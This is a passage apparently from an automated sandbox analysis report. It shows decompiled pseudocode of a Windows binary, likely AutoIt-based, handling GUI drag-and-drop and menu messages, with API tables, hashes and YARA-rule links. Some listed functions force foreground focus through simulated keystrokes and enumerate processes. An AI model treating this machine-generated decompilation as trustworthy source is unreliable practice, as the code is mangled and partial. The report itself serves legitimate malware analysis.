						__eflags = _t385 - 0xfffffffe;
						if(_t385 != 0xfffffffe) {
							goto L12;
						}
						E01182714(0x12477b0, _t426, 1);
						GetCursorPos( &_v164);
						ScreenToClient( *_t422,  &_v164);
						_t303 = E011829AB(0x12477b0,  *_t422);
						__eflags = _t303 - 0xffffffff;
						if(_t303 == 0xffffffff) {
							goto L12;
						}
						_t405 =  *0x1247824; // 0x16d70b0
						_t306 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t405 + _t303 * 4)))) + 0x90));
						__eflags = _t306 - 0x10;
						if(_t306 < 0x10) {
							goto L12;
						}
						__eflags = _t306 - 0x11;
						if(_t306 <= 0x11) {
							_v140 = _v156.x;
							_v136 = _v156.y;
							_t310 = SendMessageW( *_t422, 0x1111, 0,  &_v140);
							__eflags = _t310;
							if(_t310 != 0) {
								_v92 = _t310;
								_v96 = 0xc;
								_v84 = 0xf000;
								SendMessageW( *_t422, 0x113e, 0,  &_v96);
								__eflags = _v132 & 0x00000046;
								if((_v132 & 0x00000046) != 0) {
									SendMessageW( *_t422, 0x110b, 9, 0);
									SendMessageW( *_t422, 0x110b, 9, _v128);
								}
							}
							goto L12;
						}
						__eflags = _t306 - 0x13;
						if(_t306 != 0x13) {
							goto L12;
						}
						_v116 = _v156;
						_v112 = _v156.y;
						_t318 = SendMessageW( *_t422, 0x1012, 0,  &_v116);
						__eflags = _t318 - 0xffffffff;
						if(_t318 == 0xffffffff) {
							goto L12;
						}
						_v52 = _t318;
						_v56 = 4;
						SendMessageW( *_t422, 0x104b, 0,  &_v56);
						__eflags = _v108 & 0x0000000e;
						if((_v108 & 0x0000000e) == 0) {
							goto L12;
						}
						_push(0);
						_push(_v24);
						L45:
						E0120B9C3();
						goto L12;
					}
					if(__eflags == 0) {
						ReleaseCapture();
						goto L12;
					}
					__eflags = _t385 - 0xfffffec0;
					if(_t385 == 0xfffffec0) {
						L61:
						InvalidateRect( *_t422, 0, 1);
						goto L12;
					}
					__eflags = _t385 - 0xfffffed4;
					if(_t385 == 0xfffffed4) {
						goto L61;
					}
					__eflags = _t385 - 0xffffff93;
					if(_t385 == 0xffffff93) {
						ImageList_SetDragCursorImage( *0x124785c, 0, 0, 0);
						ImageList_BeginDrag( *0x124785c, 0, 0xfffffff8, 0xfffffff0);
						SetCapture(_a4);
						 *0x1247860 = _a8;
						_v140 = 0;
						_v132 = 0;
						_v128 = 1;
						E01184DC0(__ebx,  &_v140);
						_v140 = _a8;
						_v128 = 1;
						E01191A36(__ebx,  &_v116, __eflags, L"@GUI_DRAGID");
						E01183EA3(0x1248270, _t418, _t422, __eflags,  &_v120,  &_v144, 1);
						E01191CB6( &_v132);
						_t439 = _t422 + 0x20;
						ClientToScreen( *_t422, _t439);
						ImageList_DragEnter(0,  *_t439,  *(_t422 + 0x24));
						E01184DC0(__ebx,  &_v156);
					} else {
						__eflags = _t385 - 0xffffff94;
						if(_t385 == 0xffffff94) {
							_t440 =  *((intOrPtr*)(_t422 + 4));
							_t341 = E011827D2(0x12477b0, _t440,  &_v144,  &_v164);
							__eflags = _t341;
							if(_t341 != 0) {
								_t342 =  *0x1247824; // 0x16d70b0
								_push(0);
								 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t342 + _v164.x * 4)))) + 0x96)) =  *(_t422 + 0x10);
								_push( *((intOrPtr*)(_t422 + 4)));
								E0120B9C3();
								_t419 =  *0x1247824; // 0x16d70b0
								_t414 = _v172;
								_t347 =  *((intOrPtr*)( *((intOrPtr*)(_t419 + _v172 * 4))));
								__eflags =  *(_t347 + 0x28);
								if( *(_t347 + 0x28) > 0) {
									 *0x12477ec = _t440;
									E01191C9C(0x12477f0,  *((intOrPtr*)( *((intOrPtr*)(_t419 + _t414 * 4)))) + 0x24);
									_t352 =  *0x1247824; // 0x16d70b0
									 *0x1247800 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t352 + _v165 * 4)))) + 0x98));
									SendMessageW( *_t422, 0x1030,  *(_t422 + 0x10), 0x120b9ba);
								}
							}
						}
					}
					goto L12;
				}
				if(_t450 == 0) {
					L46:
					_t441 = 0;
					_t357 = SendMessageW( *_t422, 0x110a, 9, 0);
					__eflags = _t357;
					if(_t357 == 0) {
						goto L12;
					}
					_v92 = _t357;
					_v96 = 4;
					_t359 = SendMessageW( *_t422, 0x113e, 0,  &_v96);
					__eflags = _t359;
					if(_t359 == 0) {
						goto L12;
					}
					__eflags =  *(_t422 + 0x34) -  *((intOrPtr*)(_t422 + 0x5c));
					if( *(_t422 + 0x34) ==  *((intOrPtr*)(_t422 + 0x5c))) {
						goto L12;
					}
					__eflags =  *((intOrPtr*)(_t422 + 0xc)) - 0x1000;
					if( *((intOrPtr*)(_t422 + 0xc)) == 0x1000) {
						goto L12;
					}
					__eflags =  *((intOrPtr*)(_t422 + 0xc)) - 1;
					L26:
					if(__eflags == 0) {
						goto L12;
					}
					_push(_t441);
					_push(_v60);
					goto L45;
				}
				_t451 = _t385 - 0xfffffdd9;
				if(_t451 > 0) {
					__eflags = _t385 - 0xfffffdda;
					if(_t385 == 0xfffffdda) {
						_t362 = GetKeyState(0x11);
						__eflags = _t362;
						if(_t362 >= 0) {
							goto L12;
						}
						_t363 = GetKeyState(9);
						__eflags = _t363;
						if(_t363 >= 0) {
							goto L12;
						}
						_t443 = SendMessageW( *_t422, 0x130b, 0, 0);
						_t365 = GetKeyState(0x10);
						__eflags = _t365;
						if(_t365 >= 0) {
							_t444 = _t443 + 1;
							__eflags = _t444;
						} else {
							_t444 = _t443 - 1;
						}
						_push(_t444);
						L44:
						_push( *((intOrPtr*)(_t422 + 4)));
						goto L45;
					}
					__eflags = _t385 - 0xfffffdee;
					if(_t385 == 0xfffffdee) {
						__eflags =  *(_t426 + 0x188);
						if( *(_t426 + 0x188) == 0) {
							goto L12;
						}
						_t420 =  *0x1247834; // 0x2
						_t417 = 3;
						__eflags = _t420 - _t417;
						if(_t420 < _t417) {
							goto L12;
						}
						_t445 =  *0x1247824; // 0x16d70b0
						do {
							_t367 =  *( *(_t445 + _t417 * 4));
							__eflags = _t367;
							if(_t367 == 0) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t367 + 4)) - _v144;
							_t422 = _a12;
							if( *((intOrPtr*)(_t367 + 4)) != _v144) {
								goto L34;
							}
							__eflags = ( *(_t367 + 0x93) & 0x000000ff) -  *((intOrPtr*)(_t422 + 4));
							if(( *(_t367 + 0x93) & 0x000000ff) ==  *((intOrPtr*)(_t422 + 4))) {
								break;
							}
							L34:
							_t417 = _t417 + 1;
							__eflags = _t417 - _t420;
						} while (_t417 <= _t420);
						__eflags = _t417 - _t420;
						if(_t417 > _t420) {
							goto L12;
						}
						E011A42DE(_t422 + 0x10,  *((intOrPtr*)( *( *(_t445 + _t417 * 4)) + 0x54)), 0x4f);
						__eflags = 0;
						 *((short*)(_t422 + 0xae)) = 0;
						goto L37;
					}
					__eflags = _t385 - 0xfffffe3d;
					if(_t385 == 0xfffffe3d) {
						goto L46;
					}
					__eflags = _t385 - 0xfffffe64;
					if(_t385 != 0xfffffe64) {
						goto L12;
					}
					_t374 =  *_t422;
					_v148 = _t374;
					_t375 = GetWindowLongW(_t374, 0xfffffff0);
					__eflags = _t375 & 0x00000100;
					if((_t375 & 0x00000100) == 0) {
						goto L12;
					}
					__eflags =  *((short*)(_t422 + 0xc)) - 0x20;
					if( *((short*)(_t422 + 0xc)) != 0x20) {
						goto L12;
					}
					_t441 = 0;
					_t376 = SendMessageW(_v148, 0x110a, 9, 0);
					__eflags = _t376;
					if(_t376 == 0) {
						goto L12;
					}
					_v92 = _t376;
					_v96 = 4;
					__eflags = SendMessageW(_v148, 0x113e, 0,  &_v96);
					goto L26;
				}
				if(_t451 == 0) {
					_push(SendMessageW( *_t422, 0x130b, 0, 0));
					goto L44;
				}
				if(_t385 == 0xfffffd09) {
					__eflags =  *((char*)(_t426 + 0x199));
					 *((char*)(_t426 + 0x19a)) = 1;
					if( *((char*)(_t426 + 0x199)) != 0) {
						goto L12;
					} else {
						 *((char*)(_t426 + 0x19a)) = 0;
						_push( *((intOrPtr*)(_t422 + 8)));
						goto L44;
					}
				}
				if(_t385 == 0xfffffd0e) {
					 *((char*)(_t426 + 0x199)) = 1;
					goto L12;
				}
				if(_t385 == 0xfffffd0f) {
					__eflags =  *((char*)(_t426 + 0x19a)) - 1;
					if( *((char*)(_t426 + 0x19a)) == 1) {
						_push(_t385);
						_push( *((intOrPtr*)(_t422 + 4)));
						E0120B9C3();
					}
					 *((short*)(_t426 + 0x199)) = 0;
					goto L12;
				}
				if(_t385 != 0xfffffd16) {
					goto L12;
				} else {
					_push(_t385);
					goto L44;
				}
			}

0x0120d17a
0x0120d17f
0x0120d185
0x0120d188
0x0120d194
0x0120d196
0x0120d199
0x0120d19d
0x0120d19f
0x0120d427
0x0120d42a
0x0120d5d1
0x0120d5d4
0x0120d98f
0x0120d994
0x0120d998
0x0120d99b
0x0120d1ff
0x0120d208
0x0120d20e
0x0120d213
0x0120d213
0x0120d9a1
0x0120d9aa
0x0120d9ac
0x0120d9b2
0x0120d9b4
0x0120d9be
0x0120d9c1
0x0120d9c1
0x0120d9c2
0x0120da78
0x00000000
0x0120da78
0x0120d9c8
0x0120d9c8
0x0120d9cd
0x00000000
0x00000000
0x0120d9d3
0x0120d9da
0x0120d9de
0x0120d9e0
0x0120d9e0
0x0120d9f4
0x0120d9f9
0x0120d9fb
0x0120da04
0x0120da09
0x0120da17
0x0120da1d
0x0120da22
0x00000000
0x00000000
0x0120da24
0x0120da28
0x0120da2e
0x0120da42
0x0120da47
0x0120da4a
0x0120da4d
0x0120da4f
0x0120da52
0x0120da52
0x0120da5d
0x0120da60
0x0120da62
0x00000000
0x0120da64
0x0120da64
0x0120da69
0x0120da71
0x0120da71
0x00000000
0x0120da71
0x0120da6b
0x0120da6f
0x00000000
0x00000000
0x00000000
0x0120da6f
0x0120da62
0x0120da33
0x0120da35
0x0120da3c
0x00000000
0x00000000
0x00000000
0x0120d9fd
0x0120d9fd
0x0120d9fd
0x00000000
0x0120d9fd
0x0120d9fb
0x0120d9b6
0x0120d9b8
0x00000000
0x00000000
0x00000000
0x0120d9b8
0x0120d5da
0x0120d5dd
0x0120d742
0x0120d749
0x0120d753
0x0120d760
0x0120d76f
0x0120d771
0x0120d775
0x0120d779
0x0120d77c
0x0120d7a6
0x0120d7a6
0x0120d7ab
0x0120d7b4
0x0120d7ba
0x0120d7bc
0x0120d8b9
0x0120d8c1
0x0120d8d2
0x0120d8d8
0x0120d8da
0x0120d940
0x0120d947
0x0120d951
0x0120d95b
0x0120d95e
0x0120d960
0x00000000
0x00000000
0x0120d97b
0x0120d36a
0x0120d36c
0x00000000
0x0120d36c
0x0120d8dc
0x0120d8ed
0x0120d8f5
0x0120d8fb
0x0120d900
0x00000000
0x00000000
0x0120d918
0x0120d91d
0x0120d91f
0x0120d938
0x0120d93c
0x00000000
0x0120d93c
0x0120d921
0x0120d925
0x0120d92a
0x0120d931
0x0120d933
0x0120d936
0x00000000
0x00000000
0x00000000
0x0120d936
0x0120d7c2
0x0120d7c4
0x00000000
0x00000000
0x0120d7d0
0x0120d7d8
0x0120d7e9
0x0120d7ef
0x0120d7f2
0x0120d871
0x0120d878
0x0120d882
0x0120d88c
0x0120d88f
0x0120d891
0x0120d8a8
0x0120d8a8
0x00000000
0x0120d891
0x0120d7f4
0x0120d7f9
0x00000000
0x00000000
0x0120d7fb
0x0120d80f
0x0120d81a
0x0120d820
0x0120d822
0x00000000
0x00000000
0x0120d828
0x0120d82d
0x00000000
0x00000000
0x0120d845
0x0120d84a
0x0120d84c
0x0120d869
0x0120d86d
0x00000000
0x0120d86d
0x0120d84e
0x0120d852
0x0120d857
0x0120d85e
0x0120d860
0x0120d862
0x00000000
0x00000000
0x0120d864
0x0120d867
0x00000000
0x00000000
0x00000000
0x0120d867
0x0120d78e
0x0120d790
0x0120d794
0x0120d798
0x0120d79b
0x00000000
0x00000000
0x0120d7a1
0x00000000
0x0120d7a1
0x0120d5e3
0x0120d5e6
0x00000000
0x00000000
0x0120d5f6
0x0120d600
0x0120d60d
0x0120d617
0x0120d61c
0x0120d61f
0x00000000
0x00000000
0x0120d625
0x0120d630
0x0120d636
0x0120d638
0x00000000
0x00000000
0x0120d63e
0x0120d640
0x0120d6bb
0x0120d6c3
0x0120d6d4
0x0120d6da
0x0120d6dc
0x0120d6e2
0x0120d6f3
0x0120d6fb
0x0120d703
0x0120d709
0x0120d70e
0x0120d724
0x0120d733
0x0120d733
0x0120d70e
0x00000000
0x0120d6dc
0x0120d642
0x0120d644
0x00000000
0x00000000
0x0120d650
0x0120d658
0x0120d669
0x0120d66f
0x0120d672
0x00000000
0x00000000
0x0120d678
0x0120d68c
0x0120d697
0x0120d69d
0x0120d6a2
0x00000000
0x00000000
0x0120d6a8
0x0120d6a9
0x0120d3ba
0x0120d3ba
0x00000000
0x0120d3ba
0x0120d430
0x0120d5c6
0x00000000
0x0120d5c6
0x0120d436
0x0120d43c
0x0120d5b5
0x0120d5bb
0x00000000
0x0120d5bb
0x0120d442
0x0120d448
0x00000000
0x00000000
0x0120d44e
0x0120d451
0x0120d513
0x0120d526
0x0120d52f
0x0120d53c
0x0120d541
0x0120d545
0x0120d549
0x0120d551
0x0120d55e
0x0120d567
0x0120d56b
0x0120d580
0x0120d589
0x0120d58e
0x0120d594
0x0120d5a1
0x0120d5ab
0x0120d457
0x0120d457
0x0120d45a
0x0120d460
0x0120d473
0x0120d478
0x0120d47a
0x0120d480
0x0120d489
0x0120d494
0x0120d49b
0x0120d49e
0x0120d4a3
0x0120d4a9
0x0120d4b0
0x0120d4b2
0x0120d4b6
0x0120d4bc
0x0120d4d0
0x0120d4d5
0x0120d4ee
0x0120d4fd
0x0120d4fd
0x0120d4b6
0x0120d47a
0x0120d45a
0x00000000
0x0120d451
0x0120d1a5
0x0120d3c4
0x0120d3c4
0x0120d3d0
0x0120d3d6
0x0120d3d8
0x00000000
0x00000000
0x0120d3de
0x0120d3ef
0x0120d3f7
0x0120d3fd
0x0120d3ff
0x00000000
0x00000000
0x0120d408
0x0120d40b
0x00000000
0x00000000
0x0120d411
0x0120d418
0x00000000
0x00000000
0x0120d41e
0x0120d2e9
0x0120d2e9
0x00000000
0x00000000
0x0120d2ef
0x0120d2f0
0x00000000
0x0120d2f0
0x0120d1b0
0x0120d1b2
0x0120d255
0x0120d25b
0x0120d37a
0x0120d37c
0x0120d37f
0x00000000
0x00000000
0x0120d387
0x0120d389
0x0120d38c
0x00000000
0x00000000
0x0120d3a5
0x0120d3a7
0x0120d3ad
0x0120d3b0
0x0120d3b5
0x0120d3b5
0x0120d3b2
0x0120d3b2
0x0120d3b2
0x0120d3b6
0x0120d3b7
0x0120d3b7
0x00000000
0x0120d3b7
0x0120d261
0x0120d267
0x0120d2f9
0x0120d300
0x00000000
0x00000000
0x0120d306
0x0120d30e
0x0120d30f
0x0120d311
0x00000000
0x00000000
0x0120d317
0x0120d31d
0x0120d320
0x0120d322
0x0120d324
0x00000000
0x00000000
0x0120d32a
0x0120d32d
0x0120d330
0x00000000
0x00000000
0x0120d339
0x0120d33c
0x00000000
0x00000000
0x0120d33e
0x0120d33e
0x0120d33f
0x0120d33f
0x0120d343
0x0120d345
0x00000000
0x00000000
0x0120d359
0x0120d361
0x0120d363
0x00000000
0x0120d363
0x0120d26d
0x0120d273
0x00000000
0x00000000
0x0120d279
0x0120d27f
0x00000000
0x00000000
0x0120d285
0x0120d28a
0x0120d28e
0x0120d294
0x0120d299
0x00000000
0x00000000
0x0120d29f
0x0120d2a4
0x00000000
0x00000000
0x0120d2aa
0x0120d2b8
0x0120d2be
0x0120d2c0
0x00000000
0x00000000
0x0120d2c6
0x0120d2d9
0x0120d2e7
0x00000000
0x0120d2e7
0x0120d1b8
0x0120d24f
0x00000000
0x0120d24f
0x0120d1c4
0x0120d21f
0x0120d226
0x0120d22d
0x00000000
0x0120d22f
0x0120d22f
0x0120d236
0x00000000
0x0120d236
0x0120d22d
0x0120d1cc
0x0120d216
0x00000000
0x0120d216
0x0120d1d4
0x0120d1e4
0x0120d1eb
0x0120d1ed
0x0120d1ee
0x0120d1f1
0x0120d1f1
0x0120d1f6
0x00000000
0x0120d1f6
0x0120d1dc
0x00000000
0x0120d1de
0x0120d1de
0x00000000
0x0120d1de

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0120D208
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0120D249
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0120D28E
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0120D2B8
SendMessageW.USER32 ref: 0120D2E1
_wcsncpy.LIBCMT ref: 0120D359
GetKeyState.USER32(00000011), ref: 0120D37A
GetKeyState.USER32(00000009), ref: 0120D387
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0120D39D
GetKeyState.USER32(00000010), ref: 0120D3A7
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0120D3D0
SendMessageW.USER32 ref: 0120D3F7
SendMessageW.USER32(?,00001030,?,0120B9BA), ref: 0120D4FD
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0120D513
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0120D526
SetCapture.USER32(?), ref: 0120D52F
ClientToScreen.USER32(?,?), ref: 0120D594
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0120D5A1
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0120D5BB
ReleaseCapture.USER32(?,?,?), ref: 0120D5C6
GetCursorPos.USER32(?), ref: 0120D600
ScreenToClient.USER32 ref: 0120D60D
SendMessageW.USER32(?,00001012,00000000,?), ref: 0120D669
SendMessageW.USER32 ref: 0120D697
SendMessageW.USER32(?,00001111,00000000,?), ref: 0120D6D4
SendMessageW.USER32 ref: 0120D703
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0120D724
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0120D733
GetCursorPos.USER32(?), ref: 0120D753
ScreenToClient.USER32 ref: 0120D760
GetParent.USER32(?), ref: 0120D780
SendMessageW.USER32(?,00001012,00000000,?), ref: 0120D7E9
SendMessageW.USER32 ref: 0120D81A
ClientToScreen.USER32(?,?), ref: 0120D878
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0120D8A8
SendMessageW.USER32(?,00001111,00000000,?), ref: 0120D8D2
SendMessageW.USER32 ref: 0120D8F5
ClientToScreen.USER32(?,?), ref: 0120D947
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0120D97B

Part of subcall function 011829AB: GetWindowLongW.USER32(?,000000EB), ref: 011829BC

GetWindowLongW.USER32(?,000000F0), ref: 0120DA17

Strings

@GUI_DRAGID, xrefs: 0120D562
F, xrefs: 0120D8FB

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: 186e2ab0bb23ba55e53992726d7e826680f514c1191b567ef17ac70fd63dbca8
Instruction ID: 1a72be43482bbbed283a8f549fbbb49b8a860b318ba886ac8bec8028c5db6b59
Opcode Fuzzy Hash: 186e2ab0bb23ba55e53992726d7e826680f514c1191b567ef17ac70fd63dbca8
Instruction Fuzzy Hash: 9442EE34215346AFD726DFA8D848B6ABBE1FF48310F140A19F695872E2CB70D885CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01195EDA, Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 01195EE2
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 011D10D7
IsIconic.USER32 ref: 011D10E0
ShowWindow.USER32(?,00000009), ref: 011D10ED
SetForegroundWindow.USER32(?), ref: 011D10F7
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 011D110D
GetCurrentThreadId.KERNEL32 ref: 011D1114
GetWindowThreadProcessId.USER32(?,00000000), ref: 011D1120
AttachThreadInput.USER32(?,00000000,00000001), ref: 011D1131
AttachThreadInput.USER32(?,00000000,00000001), ref: 011D1139
AttachThreadInput.USER32(00000000,?,00000001), ref: 011D1141
SetForegroundWindow.USER32(?), ref: 011D1144
MapVirtualKeyW.USER32(00000012,00000000), ref: 011D1159
keybd_event.USER32(00000012,00000000), ref: 011D1164
MapVirtualKeyW.USER32(00000012,00000000), ref: 011D116E
keybd_event.USER32(00000012,00000000), ref: 011D1173
MapVirtualKeyW.USER32(00000012,00000000), ref: 011D117C
keybd_event.USER32(00000012,00000000), ref: 011D1181
MapVirtualKeyW.USER32(00000012,00000000), ref: 011D118B
keybd_event.USER32(00000012,00000000), ref: 011D1190
SetForegroundWindow.USER32(?), ref: 011D1193
AttachThreadInput.USER32(?,?,00000000), ref: 011D11BA

Strings

Shell_TrayWnd, xrefs: 011D10D2

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 1f798bd159c677280d44d39f5ecaee3ab751b8667c3a68aa5079c0cd2d784a35
Instruction ID: aaf4bed978a6aafd28648edf509c75142d4742c1cbe5f382acd08e831c8f3b3b
Opcode Fuzzy Hash: 1f798bd159c677280d44d39f5ecaee3ab751b8667c3a68aa5079c0cd2d784a35
Instruction Fuzzy Hash: 5131A571A403187FFB356BB5AC49F7F7E6DEB44B50F104016FA04AA1C1CEB15941ABA4

Uniqueness

Uniqueness Score: -1.00%

Function 01181663, Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 01181DD6
GetSysColor.USER32(0000000F), ref: 01181E2A
SetBkColor.GDI32(?,00000000), ref: 01181E3D

Part of subcall function 0118166C: DefDlgProcW.USER32(?,00000020,?), ref: 011816B4

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 0afcb533241c9ac2d517d200298e1e4c12daa830c0c37c69a181551fc03744f6
Instruction ID: e7654f6f3f79928e245120f4732e071f10f028a1197afacb7b7683a874df1b54
Opcode Fuzzy Hash: 0afcb533241c9ac2d517d200298e1e4c12daa830c0c37c69a181551fc03744f6
Instruction Fuzzy Hash: 11A101B6119405BFE72DBEAD9C8CFBF399DEB51245B45830AF102C65C1CB2499038A7B

Uniqueness

Uniqueness Score: -1.00%

Function 01182714, Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 01182727
ScreenToClient.USER32 ref: 01182744
GetAsyncKeyState.USER32(00000001), ref: 01182769
GetAsyncKeyState.USER32(00000002), ref: 01182777

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 0b5716ec0ebfdac522ceb93139759eeef9933770740761f4534c99aa41293460
Instruction ID: 64c75f6f811c6028b6d47862e0248303f7a94e2d8eb491edd0de0d7108ab7207
Opcode Fuzzy Hash: 0b5716ec0ebfdac522ceb93139759eeef9933770740761f4534c99aa41293460
Instruction Fuzzy Hash: ED41847550450AFFDF1EAF69C844BE9BB74FB15324F508356F928921A0C7309990DF91

Uniqueness

Uniqueness Score: -1.00%

Function 011E4148, Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 011E416D
Process32FirstW.KERNEL32(00000000,?), ref: 011E417B
Process32NextW.KERNEL32(00000000,?), ref: 011E419B
CloseHandle.KERNEL32(00000000), ref: 011E4245

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ed1bceec6276bf4db22b5d77fc5cd5040d636bba0c107a80c34ecb21ec68a991
Instruction ID: 3680915712b54262d29960c19da1c61911a57dde2fd871ee94074dba78be4af8
Opcode Fuzzy Hash: ed1bceec6276bf4db22b5d77fc5cd5040d636bba0c107a80c34ecb21ec68a991
Instruction Fuzzy Hash: 6D31D6711083439FD719EF94E888AAFBBE8BFA5314F40052DF591C2190EB70E989CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0120ABFF, Relevance: 49.8, APIs: 33, Instructions: 274
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0120ABFF(intOrPtr _a4, struct HWND__** _a8) {
				int _v32;
				struct tagRECT _v48;
				struct tagRECT _v64;
				int _v68;
				void* _v72;
				int _v76;
				WCHAR* _v80;
				WCHAR* _v84;
				void* _v96;
				int _v100;
				void* __ebx;
				void* __edi;
				signed int _t90;
				long _t93;
				long _t95;
				void* _t97;
				void* _t105;
				long _t109;
				WCHAR* _t112;
				int _t123;
				signed int _t136;
				struct HDC__* _t151;
				int _t156;
				signed int _t157;
				signed int _t165;
				struct HWND__** _t168;
				intOrPtr _t176;
				int _t179;
				struct HWND__** _t180;
				int _t181;
				void* _t184;
				void* _t186;

				if( *0x12472b0 == 0) {
					_t176 = _a4;
					_t90 =  *(_t176 + 0x10);
					_t151 =  *(_t176 + 0x18);
					_v48.left = _t90 & 0x00000010;
					_t156 = _t90 & 0x00000006;
					_v48.right = _t90 & 0x00000001;
					_v32 = _t156;
					__eflags = _t156;
					if(_t156 == 0) {
						_t168 = _a8;
						__eflags =  *((intOrPtr*)(_t168 + 0x4c)) - 0xffffffff;
						if( *((intOrPtr*)(_t168 + 0x4c)) != 0xffffffff) {
							_push( *((intOrPtr*)(_t168 + 0x4c)));
						} else {
							_push(GetSysColor(0x12));
						}
						_t93 = SetTextColor(_t151, ??);
					} else {
						_t93 = SetTextColor(_t151, GetSysColor(0xe));
						_t168 = _a8;
					}
					__eflags =  *(_t168 + 0x48) - 0xffffffff;
					_v48.top = _t93;
					if( *(_t168 + 0x48) != 0xffffffff) {
						_v64.left = CreateSolidBrush( *(_t168 + 0x48));
						_t95 =  *(_t168 + 0x48);
					} else {
						_v64.top.left = GetSysColorBrush(0xf);
						_t95 = GetSysColor(0xf);
					}
					_v48.top = SetBkColor(_t151, _t95);
					_t97 = SelectObject(_t151, _v72);
					__eflags = _v68;
					_v64.right = _t97;
					_v72 = _t176 + 0x1c;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					if(_v68 == 0) {
						__eflags = _v76;
						if(_v76 != 0) {
							InflateRect( &_v48, 0xffffffff, 0xffffffff);
						}
						DrawFrameControl(_t151,  &_v48, 4, 0x10);
					} else {
						InflateRect( &_v48, 0xffffffff, 0xffffffff);
						_t186 = CreateSolidBrush(GetSysColor(0x10));
						FrameRect(_t151,  &(_v64.bottom), _t186);
						DeleteObject(_t186);
					}
